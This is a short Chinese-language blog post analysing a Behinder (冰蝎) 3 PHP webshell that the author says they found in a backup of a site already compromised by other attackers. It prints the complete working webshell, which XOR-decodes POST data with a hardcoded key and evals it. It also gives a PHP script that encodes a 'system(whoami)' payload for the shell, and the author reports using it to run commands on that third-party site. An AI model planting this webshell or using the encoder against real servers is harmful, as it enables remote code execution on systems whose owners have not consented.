冰蝎 3 webshell 分析

18

前言

意外发现一个网站存在备份文件,分析后发现该站被其它黑客打过了,并且这个备份文件大概率也是该黑客打包的。于是我严重怀疑该网站存在后门,用火绒扫了一下备份文件夹,果然存在 webshell。

然后就有了这篇文章。

奇怪的马子

下面是发现的 webshell

<?php
@error_reporting(0);
session_start();
$key="6fb7d103098e92bf";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(isset($post))
{
	$datas=explode("\n",$post);
	$code=$datas[0];
	$t="base64_"."decode";
	$code=$t($code."");
	for($i=0;$i<strlen($code);$i++) {
		$code[$i] = $code[$i]^$key[$i+1&15]; 
	}
	$arr=explode('|',$code);
	$func=$arr[0];
	$params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
	@new C($params);
}
?>

这个马子一看就是冰蝎 3 的马,key 已经解开了,但是始终连不上

仔细一看,这个马跟原版的冰蝎马还是有点出入

反向操作

该马的逻辑如下

因此,我们只需要反向将要执行的命令加密回去,就可以无视 key 是否解的开了

<?php 
$key="6fb7d103098e92bf";
$encrypted_code = "|system(whoami);";
$decrypted_code = "";
for ($i = 0; $i < strlen($encrypted_code); $i++) {
	$decrypted_code .= $encrypted_code[$i] ^ $key[$i + 1 & 15];
}
echo base64_encode($decrypted_code);
?>

最后成功执行系统命令